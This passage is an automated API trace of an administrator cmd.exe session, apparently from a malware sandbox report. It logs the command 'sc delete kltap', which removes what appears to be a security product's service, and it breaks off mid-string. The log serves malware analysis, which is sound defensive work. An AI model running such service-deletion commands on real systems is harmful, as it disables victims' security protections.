lpWideCharStr="lSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.673] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="tDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.673] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="aE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.673] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="p1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.673] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.674] GetFileType (hFile=0xb8) returned 0x3 [0078.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.674] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.674] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.674] GetFileType (hFile=0x120) returned 0x3 [0078.674] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete kltap\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete kltap\n", lpUsedDefaultChar=0x0) returned 17 [0078.674] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x10, lpOverlapped=0x0) returned 1 [0078.674] GetProcessHeap () returned 0x240000 [0078.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.674] GetProcessHeap () returned 0x240000 [0078.674] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.674] GetProcessHeap () returned 0x240000 [0078.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.674] GetProcessHeap () returned 0x240000 [0078.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.674] GetProcessHeap () returned 0x240000 [0078.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x256510 [0078.675] GetConsoleOutputCP () returned 0x1b5 [0078.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.675] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.675] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.676] GetProcessHeap () returned 0x240000 [0078.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.676] GetProcessHeap () returned 0x240000 [0078.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256550 [0078.676] GetProcessHeap () returned 0x240000 [0078.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0078.676] SetErrorMode (uMode=0x0) returned 0x1 [0078.676] SetErrorMode (uMode=0x1) returned 0x0 [0078.676] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.676] SetErrorMode (uMode=0x1) returned 0x1 [0078.676] GetProcessHeap () returned 0x240000 [0078.676] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0078.676] GetProcessHeap () returned 0x240000 [0078.676] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0078.676] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.676] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.676] GetProcessHeap () returned 0x240000 [0078.677] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.677] GetProcessHeap () returned 0x240000 [0078.677] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.677] GetProcessHeap () returned 0x240000 [0078.677] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.677] GetProcessHeap () returned 0x240000 [0078.677] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.677] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.677] GetProcessHeap () returned 0x240000 [0078.677] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.677] GetProcessHeap () returned 0x240000 [0078.677] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.677] GetProcessHeap () returned 0x240000 [0078.677] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.677] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.677] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.677] GetLastError () returned 0x2 [0078.677] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.678] GetLastError () returned 0x2 [0078.678] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.678] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.678] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.678] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.678] GetLastError () returned 0x2 [0078.678] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.678] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.678] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.678] GetProcessHeap () returned 0x240000 [0078.678] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.679] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.679] GetProcessHeap () returned 0x240000 [0078.679] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x98) returned 0x259180 [0078.679] GetProcessHeap () returned 0x240000 [0078.679] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x98 [0078.679] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete kltap") returned 1 [0078.679] GetProcessHeap () returned 0x240000 [0078.679] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.679] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.679] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.679] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.679] GetProcessHeap () returned 0x240000 [0078.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.680] GetProcessHeap () returned 0x240000 [0078.680] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.680] GetProcessHeap () returned 0x240000 [0078.680] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.680] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete kltap", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete kltap", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete kltap", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xa60, dwThreadId=0x7b8)) returned 1 [0078.687] CloseHandle (hObject=0x54) returned 1 [0078.687] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.687] GetProcessHeap () returned 0x240000 [0078.687] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.687] GetEnvironmentStringsW () returned 0x261b10* [0078.687] GetProcessHeap () returned 0x240000 [0078.687] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.687] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.687] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.687] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.688] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0078.730] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.731] CloseHandle (hObject=0x50) returned 1 [0078.731] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.731] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.731] GetProcessHeap () returned 0x240000 [0078.731] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.731] GetEnvironmentStringsW () returned 0x261b10* [0078.731] GetProcessHeap () returned 0x240000 [0078.731] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.731] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.731] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.731] GetProcessHeap () returned 0x240000 [0078.731] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.731] GetEnvironmentStringsW () returned 0x261b10* [0078.731] GetProcessHeap () returned 0x240000 [0078.731] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.731] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.731] GetProcessHeap () returned 0x240000 [0078.731] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.731] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.731] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.732] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.732] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.732] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.732] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.732] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.732] GetConsoleOutputCP () returned 0x1b5 [0078.732] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.732] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.733] GetProcessHeap () returned 0x240000 [0078.733] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.733] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.733] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.733] GetFileType (hFile=0x120) returned 0x3 [0078.734] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.734] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.734] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.734] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.734] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.734] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.734] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.734] GetFileType (hFile=0x120) returned 0x3 [0078.734] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.734] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.734] GetFileType (hFile=0xb8) returned 0x3 [0078.734] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.734] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.734] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.734] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.735] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.735] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.735] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.735] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.735] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.735] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.735] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.735] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.736] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.736] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.736] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.736] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.736] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.736] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.736] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.736] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.736] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.737] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e 